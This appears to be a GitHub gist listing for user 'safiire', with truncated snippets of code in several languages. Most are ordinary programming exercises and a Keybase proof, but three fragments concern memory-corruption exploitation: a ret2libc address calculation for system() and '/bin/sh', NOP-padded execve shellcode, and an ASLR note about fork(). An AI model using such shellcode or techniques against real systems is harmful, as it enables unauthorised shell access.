safiire

#!/usr/bin/env ruby

#  This is what we need to guess from ldd vuln
ldd_load_address = 0xb75ba000

#  Next get offset of system() and its address
system_offset = 0x1e310
system_address = ldd_load_address + system_offset

#  Next get offset of /bin/sh from strings -d -tx libc.6.so, minus correction

safiire

#include <string.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// NOP padded execve("/bin/sh")
char *sc =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

safiire

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

/*
 *  A fork() doesn't (and shouldn't) re-randomize the address space
 *  but that happens properly after the exec()

safiire

{-# LANGUAGE OverloadedStrings, DeriveGeneric #-}

import Data.Text (Text)
import Data.Aeson
import GHC.Generics
import qualified Data.ByteString.Lazy as B

data Person =
  Person { first  :: !Text
         , last   :: !Text

safiire

abstract PassiveComponent

type Resistor <: PassiveComponent
  value::Complex{Float64}
end

type Capacitor <: PassiveComponent
  value::Complex{Float64}
end

safiire

require 'kleisli'

def do_lots(count)
  (0..count).reduce(0){|sum, value| sum + value }
end

future = Future(100000000) >-> value {
  Future { 
    do_lots(value.call)
  } >-> big_sum {

safiire

Keybase proof

I hereby claim:

• I am safiire on github.
• I am safiire (https://keybase.io/safiire) on keybase.
• I have a public key whose fingerprint is 06DC 5901 70E2 350A 4BCE 7C1D 9EFD 7244 59CC 7EB0

To claim this, I am signing this object:

safiire

#pragma once

#include <iostream>
#include <cmath>
#include <limits>
#include "saf_math.h"

//// Some more information for adding more functionality here:
//// http://www.euclideanspace.com/maths/algebra/realNormedAlgebra/other/dualNumbers/functions/

safiire

#!/usr/bin/env ruby
#  Really inefficient toy

####
##  A little wrapper to make signals either with
##  lambda functions or arrays.
class SignalFunction
  def self.ramp
    SignalFunction.new(lambda{|n| n < 0 ? 0r : n/1r})
  end

safiire

// Compile with: g++  -std=c++11 variadic_print.cpp -o variadic_print
#include <iostream>

//  No argument case
void print() {}


//  Recursive Variadic Template
template <typename HEAD, typename ... TAIL>
void print(const HEAD& head, const TAIL& ... tail) {